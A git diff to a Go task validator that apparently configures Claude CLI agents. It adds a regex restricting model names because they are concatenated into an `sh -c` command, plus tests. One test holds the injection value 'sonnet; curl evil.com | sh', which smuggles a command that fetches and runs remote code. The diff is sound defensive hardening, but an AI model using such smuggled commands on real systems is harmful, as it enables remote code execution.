diff options
| -rw-r--r-- | internal/task/validator.go | 11 | ||||
| -rw-r--r-- | internal/task/validator_test.go | 25 |
2 files changed, 36 insertions, 0 deletions
diff --git a/internal/task/validator.go b/internal/task/validator.go index 09f4b34..03d3921 100644 --- a/internal/task/validator.go +++ b/internal/task/validator.go @@ -2,9 +2,16 @@ package task import ( "fmt" + "regexp" "strings" ) +// modelPattern restricts Agent.Model to characters safe to concatenate into +// the `sh -c` command executor.ContainerRunner.buildInnerCmd builds for the +// claude CLI's --model flag. Real model names (e.g. "sonnet", "opus", +// "claude-sonnet-4-6") only ever use this character set. +var modelPattern = regexp.MustCompile(`^[A-Za-z0-9._-]+$`) + // ValidationError collects multiple validation failures. type ValidationError struct { Errors []string @@ -55,6 +62,10 @@ func Validate(t *Task) error { } } + if t.Agent.Model != "" && !modelPattern.MatchString(t.Agent.Model) { + ve.Add(fmt.Sprintf("invalid model %q; must match %s", t.Agent.Model, modelPattern.String())) + } + if t.Agent.PermissionMode != "" { validModes := map[string]bool{ "default": true, "acceptEdits": true, "bypassPermissions": true, diff --git a/internal/task/validator_test.go b/internal/task/validator_test.go index 2c6735c..2e088cf 100644 --- a/internal/task/validator_test.go +++ b/internal/task/validator_test.go @@ -98,6 +98,31 @@ func TestValidate_InvalidPermissionMode_ReturnsError(t *testing.T) { } } +func TestValidate_InvalidModel_ReturnsError(t *testing.T) { + task := validTask() + // Shell metacharacters must be rejected -- Agent.Model is concatenated + // into a `sh -c` command string in executor.ContainerRunner.buildInnerCmd + // with no further escaping. + task.Agent.Model = "sonnet; curl evil.com | sh" + err := Validate(task) + if err == nil { + t.Fatal("expected error") + } + if !strings.Contains(err.Error(), "model") { + t.Errorf("expected model error, got: %v", err) + } +} + +func TestValidate_ValidModel_NoError(t *testing.T) { + for _, m := range []string{"", "sonnet", "opus", "claude-sonnet-4-6", "claude-opus-4-1-20250805"} { + task := validTask() + task.Agent.Model = m + if err := Validate(task); err != nil { + t.Errorf("model %q: expected no error, got: %v", m, err) + } + } +} + func TestValidate_MultipleErrors(t *testing.T) { task := &Task{ Retry: RetryConfig{MaxAttempts: 0, Backoff: "bad"}, |
